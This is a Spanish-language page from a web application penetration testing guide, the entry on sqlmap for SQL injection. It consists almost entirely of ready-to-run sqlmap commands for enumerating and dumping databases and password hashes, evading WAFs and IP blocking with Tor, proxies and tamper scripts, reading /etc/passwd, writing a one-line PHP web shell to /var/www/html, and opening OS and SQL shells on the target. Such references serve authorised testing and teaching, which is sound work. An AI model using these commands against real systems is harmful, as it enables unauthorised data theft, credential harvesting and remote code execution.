🟢
Web Application Penetration Testing
  • Inicio
  • General
    • Metodologías y estándares
    • Aplicaciones vulnerables
  • Reconocimiento y recolección de información
    • Web Application Firewall (WAF)
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnologías web
  • Escaneo y enumeración
    • HTTP security headers
    • HTTP methods (verbs)
    • Crawling y spidering
    • Fuzzing
      • Directorios
      • Archivos
      • Extensiones
      • Parámetros
        • GET
        • POST
      • Wordlists
    • Compresión y ofuscación
    • Herramientas automatizadas
  • Explotación
    • API keys
    • Clickjacking
    • HTTP methods (verbs)
    • Input data validation
    • HTTP Host header
    • Autenticación y autorización
      • Cookie
      • JSON Web Token (JWT)
      • OAuth
      • SAML
    • Same-origin policy (SOP)
      • Cross-origin resource sharing (CORS)
    • Cross-site scripting (XSS)
    • Cross-site request forgery (CSRF)
    • File upload
    • Path traversal & file inclusion
    • Command injection
      • Node.js
    • SQL injection (SQLi)
      • MySQL / MariaDB
      • Microsoft SQL Server
      • PostgreSQL
      • Oracle
      • sqlmap
    • NoSQL injection (NoSQLi)
    • XML external entity (XXE) injection
    • CRLF injection
    • XPath injection
    • LDAP injection
    • PDF injection
    • Server-side template injection (SSTI)
    • Server-side include (SSI) injection
    • Server-side parameter pollution
    • Server-side request forgery (SSRF)
    • Web cache poisoning
    • HTTP request smuggling
    • GraphQL
    • Open redirect
    • Content Management System (CMS)
      • WordPress
    • Websocket
    • Deserialization
    • Flash
  • Checklist
    • Web application penetration testing
    • Web API penetration testing
Con tecnología de GitBook
En esta página
  • General
  • Parámetros principales
  • Manejo de errores
  • Enumeración general
  • Enumeración de base de datos
  • Bypass de protecciones
  • DataBase Management System (DBMS)
  • GET request
  • POST request
  • Request desde archivo
  • Listar bases de datos
  • Listar tablas de base de datos
  • Listar columnas de tabla
  • Obtener información de tabla
  • Filtrar obtención de información de tabla
  • Lectura de archivos
  • Escritura de archivos
  • Shell

¿Te fue útil?

  1. Explotación
  2. SQL injection (SQLi)

sqlmap

General

# Ejecución de sqlmap general desde request guardado en archivo
sqlmap -r request.txt --level=5 --risk=3 --random-agent --threads=10 --batch --flush-session --hostname

Parámetros principales

-u "<URL>" 
--user-agent='<user-agent>'
--cookie='<cookie>'
--header='<header>'
--level=<1-5> # default 1
--risk=<1-3> # default 1
--technique=<technique> # default "BEUSTQ"
--skip-waf # omitir prueba heurística de WAF
--batch # no espera respuesta del usuario, utiliza comportamiento por defecto
--flush-session # limpia sesión
--threads=10
--dump-all --exclude-sysdbs # obtener la información de todas las bases de datos
  • --technique = técnica.

    • B = Boolean-based blind SQLi.

    • E = Error-based SQLi.

    • U = Union-based SQLi.

    • S = Stacked queries SQLi.

    • T = Time-based blind SQLi.

    • Q = Inline queries SQLi.

Manejo de errores

# Mostrar mensajes de error de DBMS
--parse-errors

# Almacenar todo el tráfico en un archivo de texto
-t /tmp/sqlmap-traffic.txt

# Nivel de detalle de los mensajes de salida
-v <0-6>so

Enumeración general

--hostname
--banner
--current-db
--current-user
--is-dba
--users
--privileges
--roles
--passwords

Enumeración de base de datos

# Obtener estructura completa del DBMS
--schema

# Buscar tablas por nombre
--search -T <table-name>
--search -T user
 
# Buscar columnas por nombre
--search -C <column-name>
--search -C pass

# Proceso completo de enumeración
--all --batch

Bypass de protecciones

# Bypass de lista negra de HTTP User-Agent
--random-agent

# Bypass de token anti-CSRF
--csrf-token="<token-parameter-name>"

# Bypass de valor único
--randomize=<parameter-name>

# Bypass de parámetro calculado
--eval="<python-code>"
--eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

# Ocultar dirección IP
--proxy
--proxy-file
--tor
--check-tor

# Manipulación y ofuscación de payloads
--tamper="<script>"

# Transferencia fragmentada
--chunked

# HTTP parameter pollution (HPP)
--hpp

DataBase Management System (DBMS)

sqlmap -u "http://<target>/" --dbms=<dbms>
  • -u = URL.

    • <target> = objetivo.

  • --dbms = DataBase Management System, por ejemplo: mysql, mssql, postgresql, oracle, ibmdb2, etc.

GET request

sqlmap -u "http://<target>/param1=value1&param2=value2" --method GET
sqlmap -u "http://<target>/param1=value1&param2=value2" --method GET -p "<param1>,<param2>"
  • -u = URL.

    • <target> = objetivo.

  • -p = parámetros a revisar.

POST request

sqlmap -u "http://<target>/" --method POST --data "param1=value1&param2=value2"
sqlmap -u "http://<target>/" --method POST --data "param1=value1&param2=value2" -p "<param1>,<param2>"
  • -u = URL.

    • <target> = objetivo.

  • --data = información del POST request.

  • -p = parámetros a revisar.

Request desde archivo

sqlmap -r <request.txt> -p <param>
sqlmap -r <request.txt> --header="<header1>: <value1>*" --header="<header2>: <value2>*" --header="<header3>: <value3>*"
  • -r = archivo de request.

    • <request.txt> = archivo con request.

  • -p = parámetro.

    • <param> = parámetro vulnerable.

  • --header = HTTP header.

    • <header1> = nombre de HTTP header vulnerable.

    • <value1> = valor de HTTP header vulnerable.

Listar bases de datos

sqlmap -u "http://<target>/" --dbs
  • -u = URL.

    • <target> = objetivo.

  • --dbs = listar bases de datos.

Listar tablas de base de datos

sqlmap -u "http://<target>/" -D <database> --tables
  • -u = URL

    • <target> = objetivo.

  • -D = base de datos.

    • <database> = nombre de base de datos.

  • --tables = listar tablas de base de datos.

Listar columnas de tabla

sqlmap -u "http://<target>/" -D <database> -T <table> --columns
  • -u = URL

    • <target> = objetivo.

  • -D = base de datos.

    • <database> = nombre de base de datos.

  • -T = tabla.

    • <table> = nombre de tabla.

  • --columns = listar columnas de tabla.

Obtener información de tabla

sqlmap -u "http://<target>/" -D <database> -T <table> --dump
  • -u = URL

    • <target> = objetivo.

  • -D = base de datos.

    • <database> = nombre de base de datos.

  • -T = tabla.

    • <table> = nombre de tabla.

  • --dump = obtener información de tabla.

  • --dump-format = formato de exportación de datos obtenidos.

    • CSV (por defecto).

    • HTML.

    • SQLite.

Filtrar obtención de información de tabla

--start=<start-row-number> --stop=<end-row-number>
--where="<column-name> LIKE '<initial-characters>%'"

Lectura de archivos

--file-read "<file>"
--file-read "/etc/passwd"

Escritura de archivos

--file-write "<file>" --file-dest "/tmp/file"

Escritura de web shell.

webshell.php
<?php echo system($_GET['cmd']); ?>
--file-write "webshell.php" --file-dest "/var/www/html/webshell.php"

Shell

# Shell
sqlmap -u "http://<target>/" --os-shell
sqlmap -u "http://<target>/" --os-shell --technique=<technique>
sqlmap -u "http://<target>/" --os-cmd <comando>

# SQL query shell
sqlmap -u "http://<target>/" --sql-shell
sqlmap -u "http://<target>/" --sql-query <query>
AnteriorOracleSiguienteNoSQL injection (NoSQLi)

Última actualización hace 1 año

¿Te fue útil?